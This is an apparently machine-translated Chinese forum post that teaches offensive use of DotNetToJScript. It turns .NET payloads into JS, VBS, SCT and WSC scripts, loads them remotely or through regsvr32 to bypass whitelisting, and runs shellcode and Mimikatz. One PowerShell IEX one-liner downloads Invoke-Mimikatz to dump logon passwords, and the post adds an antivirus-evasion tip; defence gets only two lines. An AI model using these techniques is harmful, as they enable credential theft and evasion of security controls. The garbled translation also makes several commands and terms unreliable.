KaiWn 发布于2022年11月8日 分享 发布于2022年11月8日 0x00 前言 最近,詹姆斯福肖开发了一个工具DotNetToJScript,它可以加载。Net程序的JS/Vbs脚本。这很有趣。 Casey Smith和Cn33liz都对此做了进一步的研究,并开放了他们的使用代码。 本文将对该技术进行系统梳理,帮助您有更好的了解。 0x01 简介 本文将介绍以下内容: DotNetToJScript的编译方法 DotNetToJScript的用法 用JS/Vbs执行外壳代码 使用JS/Vbs执行powershell脚本 0x02 DotNetToJScript编译方法 DotNetToJScript下载地址: https://github.com/tyranid/DotNetToJScript 使用工具VS2012编译。 报错1: 程序集引用NDesk。缺少选项。 解决方法: 您需要添加对NDesk的引用。选择 下载地址: http://www.ndesk.org/Options 解压,项目-添加引用-浏览-\ n磁盘-选项-0 . 2 . 1 . bin \ n磁盘-选项-0 . 2 . 1 . bin \ lib \ n磁盘-选项\ ndesk.options.dll。 接下来,将目标框架指定为。NET Frameword 2.0并重新编译。 报错2: 缺少程序集引用Linq 解决方法: 添加对System.Core.dll 3.5的引用 位置: c:\ Program Files \ Reference Assemblies \ Microsoft \ Framework \ v 3.5 \ System。Core.dll 添加引用后,编译成功,DotNetToJScript.exe和ExampleAssembly.dll分别生成在两个目录下。 0x03 DotNetToJScript使用方法 1、生成js脚本 参数如下: DotNetToJScript.exe-O1 . js ExampleAssembly.dll 执行后,生成1.js 执行1.js,调用ExampleAssembly.dll的公共TestClass()。 如下图 执行过程如下图,弹出一个对话框。 2、生成vbs脚本 参数如下: DotNetToJScript.exe-l VBScript-o 2 . VBS ExampleAssembly.dll 执行下图 3、生成vba脚本 参数如下: DotNetToJScript.exe-l VBA-o 2 . txt ExampleAssembly.dll 在office宏中使用。 4、生成sct脚本 参数如下: DotNetToJScript.exe大学ExampleAssembly.dll分校 启动模式: 命令行参数如下: regsvr32.exe/u/n/s/I:3 . SCT scrobj.dll 注: 详情请参考之前的文章《Use SCT to Bypass Application Whitelisting Protection》。 5、生成wsc脚本 参数如下: DotNetToJScript.exe-m-o 4 . WSC ExampleAssembly.dll 启动方式1:本地调用 通过js调用,js脚本内容如下: GetObject(' script:C:\ \ test \ \ 4 . WSC '); 注: 绝对路径是必需的,wsc文件后缀是任意的。 启动方式2:远程启动 4.将4.wsc保存在github中,地址如下: https://raw.githubusercontent.com/3gstudent/test/master/4.wsc Js脚本内容如下: GetObject(' script:https://raw . githubusercontent . com/3g student/test/master/4 . WSC ') 注: 详情请参考之前的文章《WSC、JSRAT and WMI Backdoor》。 0x04 利用JS/Vbs能够实现的payload汇总 上述测试中的ExampleAssembly.dll可以用其他有效载荷代替: 1、执行shellcode 该代码可以引用以下地址: https://gist . github . com/subTee/618d 40 aa 4229581925 EB 9025429d 8420 # gist comment-2057305 对于一个新的c#项目,可以选择c#控制台应用程序,将其编译成exe。 生成js脚本的参数如下: DotNetToJScript.exe-o shell code . js shellcode.exe 测试下图 2、执行mimikatz 该代码可以引用以下地址: https://gist . github . com/subTee/b 30 e 0 bcc 7645 c 790 fcd 993 CFD 0 ad 622 f 在c#中执行mimikatz的代码可以引用以下地址: https://gist.github.com/subTee/5c636b8736530fb20c3d 3、执行powershell 该代码可以引用以下地址: https://github.com/Cn33liz/StarFighters 作者:Cn33liz StarFighters: 可以加载帝国框架的启动代码。 支持JavaScript和VBScript Powershell.exe不是必需的,可用于绕过白名单阻止。 通过powershell runspaceenvironment(.网) powershell代码的执行方式可以参考以下地址的p0wnedShell项目: https://github.com/Cn33liz/p0wnedShell 我之前在这方面做过一些研究,精简了代码使其支持。net 2.0。地址如下: https://github.com/3gstudent/Smallp0wnedShell 实际测试: 星际战斗机不仅可以加载帝国框架的启动代码,还可以直接执行powershell命令。 方式如下: (1)执行powershell单条命令 该命令需要Base64编码,如下所示: $code='start calc.exe ' $bytes=[System。Text.Encoding]:UNICODE。GetBytes($ code); $encoded=[System。Convert]:ToBase64String(字节) $编码 base64代码如下: cwb 0 ageacgb 0 acaaywbhagwaywauagaeaebaa== 替换StarFighter.js中的var EncodedPayload 成功执行,弹出计算器如下图 (2)本地执行powershell脚本 使用调用-Mimikatz.ps1,下载地址如下: https://生的。githubusercontent。com/powershell mafia/powers loit/master/ex filiation/Invoke-mimikatz。PS1 添加导口令的操作代码: invoke-Mimikatz-Command ' log privilege:debug sekurlsa:登录密码' 注: 添加原木参数是为了将结果导出到文件mimikatz.log 命令如下: $ code=Get-Content-Path Invoke-Mimi Katz。PS1 $bytes=[System .文字。编码]*统一码.GetBytes($ code); $encoded=[System .Convert]:ToBase64String(字节) $encoded | Out-File 1.txt 将生成的1.txt中的内容替换星空战士。射流研究…中的定义变量编码有效负载 (3)远程执行powershell脚本 powershell命令如下: powershell IEX(新对象网络WebClient).下载字符串(' https://raw。githubusercontent。com/powershell mafia/powers loit/master/ex filiation/Invoke-mimikatz。PS1’);invoke-Mimikatz-Command ' log privilege:debug sekurlsa:登录密码' ' 作base64的代码如下: $code=Get-Content -Path code.txt $bytes=[System .文字。编码]*统一码.GetBytes($ code); $encoded=[System .Convert]:ToBase64String(字节) $encoded | Out-File 2.txt 将生成的2.txt中的内容替换星空战士。射流研究…中的定义变量编码有效负载 注: 某杀毒软件默认会查杀该射流研究…脚本,一个绕过静态查杀的思路(不保证有效期): 将脚本保存成美国信息交换标准代码格式,会被查杀 换成采用双字节对字符进行编码格式,不被查杀 0x05 防御 站在防御的角度,大家都会对powerShell.exe作拦截,但是这还远远不够: powershell runspace environment (.NET)才是重点 具体到本文的技巧,防御方法如下: 分别对js、vbs、vba宏、sct、wsc脚本作限制 留下回复 链接帖子 意见的链接 分享到其他网站 更多分享选项…
推荐的帖子